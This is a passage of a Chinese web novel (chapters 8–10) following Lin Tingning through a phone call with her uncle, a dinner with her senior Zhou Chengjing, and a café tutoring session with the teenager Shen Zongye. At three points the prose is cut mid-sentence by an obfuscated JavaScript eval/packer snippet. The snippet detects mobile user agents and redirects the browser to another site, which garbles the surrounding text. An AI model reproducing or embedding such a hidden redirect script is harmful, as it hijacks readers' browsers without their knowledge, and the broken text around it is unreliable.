傍晚,她最后检查了一下素材,确认没有遗漏后,找到拍无人机的两人。 无人机的部分其实不算多,按计划一个上午就能拍完,两个男生却一直没有联系她。 见到她的时候,两个人神情不知怎么有些不自在。无人机被装回了装备箱里,林听宁也没有和他们交流的欲望,接过无人机便打算回宿舍。 到宿舍楼下的时候,林听宁收到一通舅舅黄越打来的电话。 她停在宿舍楼门口,看着来电显示,静了会,最后还是按了接通。 黄越的声音从话筒里传来,“听宁?” 林听宁应了声。临近晚饭时间,不少人来往进出宿舍的门口。她向角落的地方走了些,听到黄越问她,“国庆打算回来吗?” 林听宁猜到他会问这个,也准备好了措辞,“不回来了,最近学校这边事情比较多,国庆还有好几个作业要完成。” 黄越静了静,叹了口气,“那你今年都不打算回来了?你舅妈一直跟我念叨说想你了,还有念念也一直说想见姐姐了……” 黄念是黄越的女儿。他说的两件都是不可能的事,林听宁没有接话,他渐渐也没声音了。 半晌,黄越又叹了口气,“那你父母呢?你总该回来给他们……” “舅舅,”林听宁打断他,“我真的不回来了。” 顿了顿,她说,“就算我父母还在,他们也会体谅我,让我先顾好学业的。” 黄越沉默了片刻。最后,他妥协,“那好吧。国庆记得给你舅妈打个电话。……在那边有什么缺的,可以和舅舅说。” 挂完电话,林听宁才发现自己忘记把带的拍摄设备先放下,右半边手臂都有些僵了。她放下装备箱,抬手揉了揉手臂的肌肉。 黄昏晕染天际,天空半明半暗。校园里的路灯接二连三亮了起来,她站在宿舍门口那盏灯的后侧,恰好站在了阴影的一侧。 林听宁的父母在她七岁那年因车祸去世,自那以后,她便由舅舅一家抚养。直到高二那年,她转到南都中学,才彻底离开了那个家。 她到现在都还记得那一年,她把转校申请交给舅妈余月英时,对方脸上的犹豫。 也记得黄念哭闹着不肯让她离开,说不许她去这么好的地方读书。 她当时恐惧到夜里完全无法入睡,一闭上眼,就是余月英不同意她转校,和黄念把她的转校申请撕毁的噩梦。 最后还是黄越拍板同意了她的决定。所以刚刚电话的最后,他语气也有明显的失望。 他现在大概也在想,自己的外甥女怎么是这样的白眼狼。 但就算这样,林听宁还是不愿因此勉强自己。 她放下手,低头重新提起装备箱。也是这时候,她感觉到一只手搭上她的肩膀。她下意识抬头,看到了站在她身后的周承京。 青年身穿衬衫,鼻梁上架着一副细边眼镜,模样温文清隽。他模样一如往常,看不出有什么异样的情绪,眼里只有温和的关切。 “听宁?” 林听宁有些愣住了。她完全没想到会碰到周承京,“学长,你怎么在这?” “我来找你。”周承京微微笑了笑,“刚准备打电话给你,就看到你站在这里。” “你怎么了?”他垂眸,“看起来神色好像不太好。” “没事,”林听宁摇头,“可能是拍了一天作业,有点累。学长现在有空了吗?” “刚刚忙完,来接你吃饭。” 周承京带她上了车。一路上,林听宁几次想提家教的事情,但看向周承京的时候,又明显感觉他在思考什么。 直到一个红灯,周承京才侧头,问她,“有什么想吃的吗?” 他开车的这个方向,又是去那家粤菜私厨。林听宁也不知怎么的,忽然想到了昨夜看到南中的桂花。 她想了想,“能不能去南中附近吃?” 周承京目光微微有些惊讶,但也很快调转了方向。 他停在了南中附近一家酒楼。酒楼的对面,也还是南中的区域,桂花灿烂依旧,整条道路都是沁人心脾的清甜香气。 林听宁下了车,忍不住走近南中的栏杆边,用手机拍了几张照片。她手机像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004198|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素并不好,夜晚又太暗,白色的细小花朵几乎消失在画面中。 周承京走到她身旁,“在看什么?” 她关上手机,扬起唇角,“学长,南中的桂花又开了。” 周承京顺着低头看了眼,笑笑,“是,每年都开得很好。” “走吧,”他垂眸看向她,“带你去吃饭。” 林听宁微愣,感受到自己唇角的弧度一点一点放平。但她很快跟上他的脚步,边在心里告诉自己不要再想了。 这顿饭吃的并不算好。其实拍摄完成后,林听宁就已经在便利店解决了晚饭,所以没有吃多少,她抬起头,却发现周承京几乎没怎么动筷。 这也是一家融合菜酒楼,大概出品不太合他胃口,他只吃了面前的一些点心,别的便再没怎么动。 林听宁最后看着剩了一桌的饭菜,想如果有穿越的能力,她一定要穿越回那个红灯,阻止自己提议来南中。 大概是看她也放下了筷子,周承京抬眸,目光温和,“吃饱了吗?” 林听宁微微点头。她本想问他有没有吃饱,但周承京继续说了下去。 他叫了她一声,“听宁。” 林听宁抬起头。目光对视上,周承京笑了笑。难得的,对视上这双眼睛,他有些不知该怎么开口。 林听宁目光总是沉静如水,似乎外界很难让其中泛起波澜。但他也能清晰地感受到,这双眼睛,看向自己的时候,是和看其他人不同的。 他微微避开她的视线。 “昨天我回去想了想,你应该也不知道,沈纵也答应了家教的事情吧。”他说,“抱歉,用那样的语气和你说话。” “我确实不知道他同意了,”林听宁回答他,“但两条信息,我是一起看到的。所以我知道是学长心情不好才那样说的。” 她停顿了下,用十分缓和的语气,“我没有放在心上,学长别在意。” 周承京沉默了片刻。须臾,他抬头,“所以,你决定要去吗?” 林听宁微微愣住。她没想到这件事里,她还有选择权。 她没有太多犹豫,“去。” 感受到周承京看过来的目光,她解释,“因为学长你开的价格比市场价高很多,而且补课对象也是个正常的小孩,我想不到不去的理由。” 周承京轻轻提了提唇角。 寂静在空气中流淌,他安静了片刻,才再次开口叫她,“听宁。” 他抬手,握着茶杯,拇指轻碰着杯口,垂下眼。 “高中的时候,我负责对接的外地生里,有一个人的档案里写着父母双亡。” 林听宁身体微微一僵。她不知道周承京为什么突然说这个,本能地有些想逃离这个话题,但还是克制住听他说了下去。 “我当时在想,这个女孩,一个人无依无靠地来到外地读书,能够适应吗,会不会遇到很多困难?”他语气平缓,“所以,在同一批学生里,我格外关注这个小姑娘。她遇到什么困难,我都忍不住去帮她。” 周承京语气似感慨又似回忆,“没想到就是这么多年。” 林听宁的手不自觉攥着,还是开口,“谢谢学长。” 周承京抬眸,看向她。 “不用谢,听宁,你自己也很努力。”他微笑了下,“我只是希望,如果未来发生什么事情,你也能站在我这边。” 林听宁不明白他是什么意思。但周承京似乎没想要解释,只是想要她的一个答案。 她于是只能点点头,“当然。” 周承京没立刻作出反应。他目光停留在她双眼,手指摩挲着茶杯,片刻,才温声回应道。 “谢谢听宁。” 那顿晚饭在这个回答中结束。夜晚,两人再次走到停车的位置。栏杆中伸出的桂花枝条随晚风微微摇曳,周承京没有先打开车门,而是打开了后尾箱,从中拿出了一大捧玫瑰。 他将那捧玫瑰递给林听宁,目光温柔,语气微显歉意,“抱歉,听宁,不知道你喜欢的是桂花,准备的是玫瑰。” 林听宁接过花束道谢,面上保持着微笑,心却泛起涩意。 她想,他果然忘记了。 她不喜欢花。 她喜欢的,也从来不是桂花。 8. 口罩 林听宁抱着那捧花回到宿舍,果不其然受到了舍友的追问。另外两个舍友是另一个专业的,凑热闹盘问几句便过去了,秦伊却怎么都不肯放过。 林听宁把花束拆开,分成几份,一份多的递给她,秦伊抬手就是拒绝,“我怎么能收下别人对你的心意!” 她嗓子还没好,尾音带点劈,听起来像鸭子叫。 林听宁没忍住弯了下嘴角,把花塞进她怀里,“这是我的心意。” 秦伊摇摇头,“你怎么能借花献佛?” “你到底收不收?” “收收收,”秦伊还挺喜欢花的,美滋滋地接了过去,“所以到底是谁送你的?” “朋友,”林听宁收回视线,“不是你想的那样。” 秦伊其实也不知道,送玫瑰还能有什么别的意思。但林听宁一副油盐不进的样子,她也知道自己这个舍友格外有边界感,便没再追问。 “好吧好吧,”她叹了口气,“小林老师是个有秘密的女人。” 这捧花束很大,宿舍每个人分了些都还有剩余。秦伊又帮着她给隔壁宿舍发了点,回到房间时,却看到林听宁看着自己桌面的花出神。 她只给自己留了状态已经不太好的一支,此刻孤零零地躺在被拆开的包装纸上,显得凋零又落寞。 她顿了顿,还是没忍住走过去,搭上她肩膀,“怎么了呀,宁宁。” 林听宁没接话,过了几秒,才又弯起嘴角。 “不行,你现在别跟我讲话。你现在的声音,我一听就想笑。” “……你这人!” …… 这一天过得格外累,林听宁几乎是沾到枕头上以后就睡着了。 等到第二天,她检查了拍摄素材,才明白当时另外两个男组员躲闪的神色是什么意思。两个人拍摄出来的东西几乎没有能用的,要么是逆光模糊,要么是被大片的树叶遮挡。 按照分工,秦伊是负责剪辑的部分。但现在这种素材,怎么剪都无力回天。 无人机的租期就到今天,也来不及再拍摄。 她从中找出几个相对好的素材,和自己的地摄部分一起发给秦伊。没过几分钟,秦伊就哑着嗓子喊道,“这拍的什么啊!” 她也知道拍摄的具体分工,立马就在小组群里声讨那两个组员。但两个人似乎完全不觉得自己有问题,【我们也是第一次实操,哪知道会这样】 【你都没参与拍摄,就别在这说了吧】 秦伊简直被气到七窍冒烟。她看了眼惨不忍睹的素材,忍不住走到林听宁身边问,“宁宁,这怎么办?” 林听宁抬头,“什么怎么办?” “这条片子啊,”秦伊忧心忡忡,“无人机是这门课的重点,总不能就这样交上去吧?可是我们租期又已经到了……” “那就这样交上去。”林听宁收回视线,“写清楚分工,我和你的部分没有问题就行了。” “但是这是小组作业,”秦伊顿了顿,“他们做得这么敷衍,那我们最后呈现的片子不就也……” “就是因为是小组作业,所以才有每个人的分工,”林听宁温声打断她,“你是想帮他们重新拍吗?那他们就会知道自己的失误永远有人兜底,下次和别人组队依旧这样。” 秦伊看着她,语气有些失望,“你是不想再管了吗?” 林听宁垂眼看向自己的电脑屏幕,“你可以这样理解。” 秦伊也不说话了。她和林听宁相处的时间说长不长说短不短,她自认完全说不上了解这个舍友,但却十分熟悉,她这样的态度,就代表她真的不想管这件事了。 而林听宁不想管的时候就是真的完全不会管了。她到现在都还记得,大一军训的时候班委想让班级评优,给每个宿舍分了班级建设任务。他们当时分到的是班级公众号的新闻稿,林听宁写的那篇被院领导着重表扬了,班委便把原本分给其他组的写作任务也分给了她。 其实林听宁当场就已经明确拒绝了,但班委大概是看她长相温温柔柔的,一副很好说话的样子,便打着哈哈搪塞过去了。 林听宁也没再说什么。然而后面提交评优材料时,班委来找林听宁要文章,才发现她真的就一篇都没有写。 后来评优自然是打水漂,也许因为理亏,班委也没和别人提起过这件事。但秦伊对林听宁的印象却由此彻底改观。 她想换做是她,或者任何一个同学,被这种集体荣誉的名号架着,就算再不乐意,心里把班委骂了千百遍,大概也会敷衍一两篇做做样子。 但就这个看起来像是全班最温和的人,偏偏就能做到最无情也最彻底。 那是大一发生的事情。后来相处久了,林听宁也并没有她想象的那样不近人情,她还是会和周围人一起上下课和吃饭,和她们有说有笑地聊天,在她困难的时候帮助她。但更多时候,她其实都不知道这位舍友在做什么。也许是一个人打工,也许是在不知道哪家便利店解决一日三餐。 她和他人之间仿佛有条清晰的界限,她不过来,也没有人过去。 秦伊也是觉得,大概每个人有每个人的处境和性格,所以没有再多问过。 思绪拉回,她看着已经开始做自己的事情的林听宁,在内心叹了口气,没有再劝她。 …… 接下来一周时间,秦伊都在为怎么剪这条片子绞尽脑汁。与此同时,她还在不断询问其他组能不能借无人机重新拍摄。 同在一个宿舍,林听宁对这些事都看在眼里,却也是真的什么都没做。 临近期末,各自又布置了不少作业。她想在大二把学分修完,选的课程很满。忙于自己学业的同时,还要抽空来准备沈纵也的家教。 转眼又到了周五。临近深夜,她才想起提醒沈纵也,给他发了条信息:【上次留的课后题,你记得做,明天要检查的】 过了半小时,沈纵也回复了她,【: P】 她看着这个表情,只感觉眉心跳了一下又一下。最后,她也有些放弃地没再理他,做了会自己的作业。 临到睡前,她手机屏幕却又亮了起来,沈纵也给她发来两条信息。 【姐姐】 【明天能不能去你那边上课?】 林听宁有些无言,内心在要不要装作没看见上摇摆了一会,最后想到明天也还是要面对,只得又打字回他。 【我这边怎么上?】 沈纵也回复她: 【咖啡厅?】 【在这总想睡觉Zzz】 林听宁手指悬停在屏幕上,也不知道这小孩发信息怎么总喜欢带些奇怪的符号。她想了想,S大附近的确有家经常被学生用作自习的咖啡厅。 如果他过来,她也不用坐那辆车过去了。 林听宁检索了下那家咖啡厅的地址,发给他,【这里可以吗?】 沈纵也回了她一个比OK的小人。 林听宁看了眼那个表情,感觉还挺实用的,没忍住按了收藏。 第二天下午,林听宁提早了一些到咖啡厅二楼占了靠角落的座位。她看了菜单,原本想点上次沈纵也喝的美式,但想了想,最后还是点了份价格偏高的手冲咖啡。 饮品做好,她把包放在位置上占座,下楼去拿咖啡。刚到一楼,抬头就看到站在门口的少年。 他今天戴了一副黑框的眼镜,显得脸很小。穿一身黑色连帽衫搭卫裤,衣帽松垮地搭在头上。一旁还有几个在等咖啡外带的人,他站在靠门边的位置,低头看着手机,神情有些百无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“为什么戴口罩?” 林听宁没看他,“有点感冒。” 她说完便忍不住挠了下掌心。骗人不好,但总不好说是他这张脸太惹眼,她不想被认识的人看到吧。 少年没有接话,只端起咖啡,边喝了口,边微微眯起眼,面带无语地看着她。 林听宁抬手理了下口罩的耳挂绳,换了个话题,“课后习题做了吗?” 少年视线收回,“没有。” 这下,无语的神情转移到了林听宁脸上。她动作顿住,看着少年两秒,想,“也不知道刚刚装乖的是谁。” 沈纵也抬眸,“什么?” 林听宁愣了下,才意识到自己把在内心的话说出来了。 她沉默了几秒,决定把这个话题也掠过,“没什么,那我们开始补课吧。” 沈纵也瞥了她一眼。她今天把头发扎成了松松垮垮的低马尾。随着她低头,一缕碎发从她耳后落下垂在颈边。大概因为离学校近,她今天的衣着更加休闲,一件灰色T恤搭短裤,像是居家服,整个人看着更添几分柔和。 距离比之前要近,沈纵也也是现在才发现,这人瘦的几乎有些离谱的程度。握着笔的这只手,手指纤长,手腕细得仿佛一折就断。穿着偏宽松的衣服,人就跟套在里面似的,衣袖都显得空空荡荡。 她皮肤偏薄,手腕内侧的皮肤在阳光下都能看见血管。咖啡厅开了冷气,但天气太热,加上他们的位置在角落,没一会,她口罩下的脸颊连带到脖颈的皮肤就开始泛起淡红色。 林听宁讲了半天,也后知后觉开始有些热。她是怕冷又怕热的体质,在G市的夏天格外难熬。 她又讲了一会,忍不住抬手扯了扯领口透气,边抬起头,“刚刚讲的这部分,你有不懂的地方吗?” 沈纵也收回视线,抬眸看向她。 片刻,少年伸手,食指勾住她脸颊口罩的边缘,将她的口罩拉至下颌。 他单手托腮,微微侧头,镜片后的漆眸慵懒。 “你说什么?戴着口罩听不清。” 9. 第三课 林听宁感受到他指尖微微触碰到自己脸颊,再到口罩被拉到下颌的最底端。 她整个人僵了一下,手上的笔在纸面涔出一个墨点。呼吸没有了障碍,她却平白生有一种空气稀薄的感觉。 她努力让自己的大脑飞速运转,试图理解他这个行为,但完全理解不了。 难道是在国外长大的原因吗?她想,在他认知里人和人之间的距离感和国内不一样? 沈纵也收回手,看了她一会。片刻,他又抬手,在她眼前晃了晃。 少年声音有些闷在掌心,“闷傻了?” 林听宁僵硬地看向他。片刻,她意识到了一件更重要的事。 她看向沈纵也,“也就是说,你刚刚都没有在听。” 沈纵也也是没想到她会说这个,甚至是陈述而不是问句。他还没有回答什么,林听宁便已经收回了视线。 她挪开了笔尖,继续开始讲课。语调和神态都没什么变化,仿佛只是发生了一段完全不重要的插曲。 她似乎一直都想表现出这种态度,那种他听不听讲对她来说都不重要的感觉。 沈纵也垂下眼,看她手上的笔划下一段重点,又讲了些什么。 他视线又向上抬,停在她滴水不漏的脸庞上。淡红褪去后,那张没什么情绪的脸庞,平添上几分冷淡感。 沈纵也收回视线。片刻,他放下手中的咖啡,手臂交叠在桌面,俯下身。 “姐姐。” 他趴在手臂上,镜片后的纤长的眼睫抬起,和她对视。 “我错了,别生气了。” 林听宁笔尖顿了顿。 她语气很平静,“我没生气。” 沈纵也视线未动,抬手点了点自己唇下的位置。 “嘴角都掉到这了。” 林听宁目光顺着他动作停在少年唇侧一秒。玻璃窗外的阳光洒在他的身侧,让他周身都显得有些金灿灿的,黑框眼镜后的眼眸闪着细碎的光。他此刻的神情,和刚刚在楼下对那个女生说话时如出一辙。 她面无波澜地收回视线,没有再继续这个话题,又重新拉上口罩,“我刚刚讲到哪了?” “解一元二次不等式实际是求出对应方程的实数根,再结合函数图像对应解集。”沈纵也重复了一遍,抬眸,“是什么意思?” 这个笨蛋。但好歹刚刚确实认真听了。林听宁问,“具体是哪里不懂,是概念还是关系?” “都不懂。” “……那我重头开始讲?” 少年点了点头。这次,他直起身,坐姿端正了一点,微微侧头看向讲义。 林听宁翻回到第一页,面上没什么异常地开始重新讲课,心里却忍不住想,不太对,这小孩今天怎么这么配合。 让他做题的期间,林听宁忍不住看了他一眼。那杯咖啡不知什么时候已经被他喝完了,少年撑着下颌,眼皮耸搭着,没什么精神地在做面前的习题,但每道题都写满了过程,确实有在认真做。 林听宁想看出他和之前的不同,但除了那副显得脸很小的黑框眼镜,他身上好像也没有什么不同。 硬要说的话,是给人的感觉有些不一样了。之前在那栋别墅里,少年周身总是生冷淡漠的,没什么生气地窝在那张沙发里,像四方墙壁中间生长的一株植物。 但今天,他好像终于有了几分他这个年纪的孩子应有的鲜活感。 会对着陌生人笑,和她说的话也比之前要多。被她发现没有听课,态度也变得很好,对她说话语气还有种莫名的…… 林听宁垂下眼,赶走脑海里浮现出的少年趴在手臂抬头看她的样子。 她还不知道他同意她补课的原因,但真要让她问,她又生出一种会为自己添麻烦的预感。她之前还挺笃定的,这小孩基本没有什么学习的心思,所以知道他大概率不是因为她的课而选择让她继续做家教的,想不再被人莫名其妙打扰的概率反而更高。 但她现在有些不确定了。林听宁看着他正在做的错了一大半的习题,想,难道是他忽然想好好学习了? 沈纵也做完了她给的题,推向她,“姐姐,做完了。” 林听宁回过神。她其实刚刚在看他做的时候就知道结果了,手上的红笔却停顿了下,最后只在做对的题后面打了勾,做错的没有再画叉。 她想到自己的猜测,抬起头,露出一个鼓励性的微笑。 “…挺好的,”她顿了顿,“比之前好多了,有很大进步。” 沈纵也抬眸看向她,视线微微向下,停在她有些刻意上扬的嘴角。他收回目光,“哦。” 林听宁没想到他是这个反应。她有些尴尬,收拢笑容低下头想继续讲题,少年便抬手,碰了一下面前的咖啡杯,把它碰得摇摇晃晃,但又没有倒下。 他单手托着下颌,“没有奖励吗?” 林听宁微愣,不自觉抿了下唇角。她想说倒也没有表现好到这种地步,但也只是在心里这样想。她垂眼看向那个咖啡杯,“……我再给你买一杯咖啡?” 少年目光有些无语,“我是水牛吗,姐姐。” 林听宁轻扯了下唇角,想他之前上课喝的那一壶美式,不知道要比面前这杯大多少,当时又不觉得自己是水牛了。她保持着平和的语气,“那你想怎样?” 少年瞥了她一眼,又垂下眼眸。几分钟后,他收回手,放过了那只咖啡杯,“先欠着吧。” 林听宁顿时有种挖坑给自己跳的感觉。沉默几秒,她也没接他这句话,只用笔点了点面前的习题,“但是这道题,刚刚才给你讲过的……” 她就这样顺着往下讲下去了。沈纵也倒也没有再说什么,只垂下眼睛听着。 玻璃窗外的阳光,从他们桌面倾斜洒落在地面,又渐渐消失在角落。旁边座位的人轮换了几次,直到天色完全暗了下来,林听宁从包里拿出水润了润讲到有些沙哑的嗓子,看了眼时间,“今天就先上到这里吧。” 沈纵也不高不低地“嗯”了声。他基础实在不算好,这么几次补课,林听宁几乎都把时间花在了数学上,假设他英语真的没问题,那剩下的科目也依旧是一个大工程,这不是她每周给他上一次几个小时的课程就能解决的。 林听宁盖上水杯,“小也,你在国外选的是什么科目?” 她之前了解了一下,国外是选修制,不像国内这样严格区分文理科。 少年抬头,“你叫我什么?” 林听宁静了静。她后知后觉,自己像以前家教叫那些初中小朋友一样给他起‘小’字开头的昵称了。之前是觉得这样更能快速和对方拉近距离,现在大概是太累,大脑下意识就习惯性地这样做。 她放下水杯,改口,“沈同学。” 沈纵也抬眸,看着她。少年目光玩味,像一只踩到老鼠尾巴的猫。 “不是这个吧,姐姐。” “……”林听宁放弃和他对峙,破罐破摔,“不好意思,以前做家教习惯这样叫学生了。我以后会注意的。“ “为什么?” 少年看着她,微微弯了弯眼,“就这样叫啊。” 他又露出那种表情。林听宁指尖忍不住挠了挠掌心。她神色没什么变化,“好吧。” 到了夜晚,咖啡厅的人少了许多。暖黄的灯光将室内烘托出温暖的氛围,周围有三两人群在低声聊天。 “化学,物理,经济。剩下几科不记得了。”沈纵也收回视线,回答她那个问题,“都没学多久。” 林听宁自然理解为他学了没多久就转学了。她点点头,“那总体还是偏理科的,下次课程我们先看看理综部分的基础怎么样。你什么时候开学?” 少年看她一眼。 “不知道。” 林听宁一时静默下。她思绪猛然止住,才想到面前的小孩和她之前辅导的对象都不太一样。从始至终,她都没见到他的家长露过面。 但已经快要国庆了。再耽误下去,课程都要落下一个月的进度。 这好像也不是眼前这个小孩自己能解决了。她于是应了声,语气也不自觉地缓和了些,“知道了,这些情况我会和学长也反馈一下。” 她想的是她的认知范围里,也只有周承京能帮到这件事。但她话音落下后,沈纵也神情中的笑意却慢慢褪去。 他漆眸视线在她面庞上停了片刻。林听宁已经开始收拾桌面的东西,没太注意他。她刚刚说那句话的时候,语气是自然的,是真的相信那个人会听她那些反馈然后帮到他。 沈纵也轻轻扯了下唇角。 林听宁收拾好东西,和他下到一楼。店门外,不知怎么围着一群人蹲在路边。她和沈纵也走出店门,才发现是一只小猫。 大学周边的流浪猫总是最多,而且多半膘肥体壮,这只也不例外,橘黄色的毛在路灯下都有些油光发亮,正躺在地面惬意地享受周围人的抚摸和投喂。 林听宁收回视线想走,又忽然想起了沈纵也的头像。她侧头,看到少年的视线果然在那只猫身上。 她停下脚步,“要去摸吗?” 沈纵也收回视线,“我猫毛过敏。” 林听宁缓缓眨了下眼。她没太能理解得过来,下意识看向他的手。少年皮肤白皙,手部手指修长骨节分明,和他头像里明显是同一只,“那你头像是……” 沈纵也一时没有接话。片刻,少年轻轻笑了声,嗓音干净偏低,像是晚春的清风。 “就是那次发现的。”他垂眼,“姐姐,你自己想摸吗?” “没有,”被他笑的,林听宁不禁挠了下掌心,“没什么好摸的。” 她是真的这样想的。不止是大学,从初中开始,似乎周围的同学都很喜欢去喂校园里的流浪猫,而她总是离得最远的一个。 她不怕猫,也不觉得讨厌。只是看到被人群簇拥着的猫,她都有些不能理解他们在可怜它什么。 图书馆外等着学生投喂的流浪猫,草坪上晒着太阳的流浪猫,见到她时一路欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004200|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌走过来蹭她想让她投喂的流浪猫。无论哪一种,她都觉得它们比人类幸福多了。 这样胖的体型,一定也没有为生计疲劳奔波过。这样亲近人类,一定是被很多人很好地对待过。 她视线短暂地停留在路边那只橘猫身上几秒便移开,“我去便利店买个晚饭,你等一下。” 便利店就在咖啡厅旁边。沈纵也看着她走进便利店,侧头,看向路边那只野猫。 它眯着眼很惬意地翻出肚皮,似乎又觉得哪只手摸的不舒服了,抬爪虚空挠了一下。旁边的学生也不恼,或宠溺或娇嗔,依旧面带笑容地夹着嗓子和它说话。 沈纵也目光微抬,略过那几个人的面庞。 没有人会像她一样,用那种眼神看这只浑身脏兮兮的小动物。 那种疏离冷漠,却又带一丝羡慕的目光。 林听宁走到便利店才想起来,她完全不需要让沈纵也等的,让他先走就好。她快速选了个饭团,结账的时候,柜台上放着贴了“儿童都爱吃”广告语的牛奶味棒棒糖,她低头看了几秒,最后拿了几根一起买单。 走出便利店的时候,她看到沈纵也身旁站了个几女生,是刚刚摸猫那群人中过去的。 几个女生围在他身边,少年垂着眼,依旧是那副温和礼貌的模样,笑意浅淡地浮在唇角边。 林听宁脚步停下,片刻,看到那些女生有些不舍地离开了,甚至还转头和他挥了挥手。 少年的手机自始至终没有拿出来,嘴角的弧度也在对方转身后彻底消失。 林听宁想,应该有个人来给他颁一个奥斯卡奖。 也不知道这个人小小年纪,是遇到过多少次这种事情,才拒绝得这样熟练。 大概是察觉到她视线,沈纵也看向她这边,然后朝她走了过来。 他视线看向她手中提着的饭团,又看向她,神色有些无语。林听宁也不知道他又在无语些什么,轻咳了声,作出才刚出来的样子,“久等了。你打算怎么回去?” 少年丝毫不给她台阶,“姐姐,你就在这边看着。” 林听宁想那不然她还能怎样。她挠了挠掌心,一时找不到话说,选择了保持沉默。沈纵也瞥了她一眼,“哪有你这样的老师。” 好大一顶帽子扣过来。林听宁微微睁大眼,但下午的时候,他不也是这样自己解决的吗? 她不懂这小孩怎么变来变去的,她搜肠刮肚,却也没能为这种场景找到合适的回答。 少年脸上一点笑意都没有了,让她感觉这件事有些严重。他们就这样在便利店门口站着,过了会儿,还是沈纵也先开口。 他语气有些冷淡,“姐姐平时怎么过去的?” 林听宁如实回答,“学长安排了车接送。” 少年似乎“啧”了一声。林听宁都有些怀疑自己听错了,忍不住抬起头。 白炽灯下,个高的少年垂着眼,阴影顺着他的眼睫落下。 “那之前呢。” “坐公交,”顿了顿,她有些想打消他这个念头,“很慢的,要一个多小时。” “哦。”少年收回视线,“带我去坐。” 林听宁只得带他走到公交车站。她用手机看了下时刻表,还要等五分钟左右。 这个时间,车站没有其他人在。沈纵也一个人站在站台边,身影与昏暗的灯光隔着一段距离。 太阳落山,夜的黑暗攀上天空,也笼罩在了他身上,像是灰姑娘失效的魔法,将他身上的鲜活感也一点点收走。 林听宁忽然意识到,他选择这个最慢的交通工具,是不是不想这么快回去。那栋偌大的房子,只有他一个人,她都有些难以想象,他平时都是怎么度过的。 也是此刻,她才反应过来。今天这个看起来心情很好,偶尔也很听话的沈纵也,或许也只是因为离开了那个地方。 还有四分钟。下一趟车,就要将他载回那个完全不能称之为家的房子。 三分钟,林听宁抬起头,叫他,“小也。” 沈纵也侧头,看向她。四目相对,林听宁不自觉挠了挠掌心,有些难为情。 少年看着她神情,轻扯嘴角。 “怎么,又要给我课后习题?” “……”林听宁噎了下,“不是。” 踟躇了几秒,她还是开口了。 “你说哪有我这样的老师……”她顿了顿,“但从给你上课以来,你也没叫过我老师。” 他一直都是“姐姐”“姐姐”地叫她。想到这个,林听宁神情无奈,也有些好笑地扬了下唇角。 她想起第一次见到他,客厅里孤单一人的少年,像是被那个空荡的房间吞噬了一样。 她也曾一个人度过那样的日子。也做过这种事情,因为不想回去,而选择独自一个人走完几公里的路。 晚风从两人之间穿过,吹乱她耳后的碎发。她语气不自觉温柔下来。 “小也,你叫我老师吧,”她说,“我给你奖励。” 10. 噩梦 公交车上,沈纵也手上拿着着几根牛奶棒棒糖。他低头看了一会,片刻后,拆开了一根放进嘴里,剩下的放进口袋。 车过了两站到市区,人渐渐多了。到了一站,上来一位老人。乘客站满过道,她走得有些艰难,最后握住他这侧的扶手。 沈纵也抬眸,起身让座。 老奶奶连连道谢,少年垂下眼,“不客气,奶奶。” 老人一看他模样长这么俊,人又有礼貌,更加喜笑颜开。一路上,和他从到家长里短说到天南海北,就差没和他交代自己的户口。 少年站在一旁,也不知道有没有听。但老人停顿下的时候,他又能作出简短的回应。 过了会,老人注意到他鼓起的半边腮帮,又笑,“小帅哥,这么大个人了,还吃糖呀?” 少年收回看向窗外的视线,垂眸,微微弯了弯唇角。 “嗯。” “老师奖励的。” “诶呦,细仔*还是个好学生啊。” 过了几站,老人下了车,车上人也少了一些。沈纵也重新坐下,低头,看向看向手中的糖纸。 糖的味道甜腻,混溶着浓郁的奶香和水果味。包装上印着一只模样有些蠢的牛奶工和柑橘图案,和他那天给她做的那杯牛奶是相同的味道,但她大概并不清楚,只是随手买到。 糖融化到只剩一小片,他咬碎了剩下的,想起林听宁刚刚在车站的模样。 他一直觉得,林听宁是那种人,表面看着比谁都温和,触及却只有一片冰冷。硬要说的话,她其实和她喜欢的他那位兄长有些像,本质是同一类人。 但她在车站对他说的话,脸上的表情,却像是一只远离人群,对人亮出利爪的猫咪,忽然仰面露出了肚皮。 猫咪不是故意的。因为在说出那句话后,她神情很快变得有些窘迫。如果不是他开口叫了她老师,她大概很快就会装作无事发生,找个借口转身就走。 说起来她口中的奖励,就是这几根随手买的棒棒糖。沈纵也单手蹂躏着手上的糖纸,眼睫低垂,真把他当三岁小孩哄。 他手机屏幕亮了起来,显示有电话打进来。 沈纵也扫了一眼来电显示,过了几秒,按了接通。 “喂?小也?” 男人的声音从话筒传来。 沈纵也微靠在椅背,语调懒散。 “邵叔。” 男人听到他这个称呼就头大,沉默了几秒又叹了口气,“小也,不然你就直接叫我名字吧,行吗?我感觉我头上的白头发就是这几年被你叫邵叔叫出来的。” 打来的人是邵远,是他母亲出道后近二十年的经纪人。 邵远的年纪属于今年刚迈入中年人行列,但沈纵也自打儿时能区分“叔”和“哥”的区别后,就再也没叫过他“邵叔”以外的称呼。 他没搭腔邵远的话。邵远只得又主动问,“怎么样?回国之后还适应吗,也不见你跟我分享一下。” 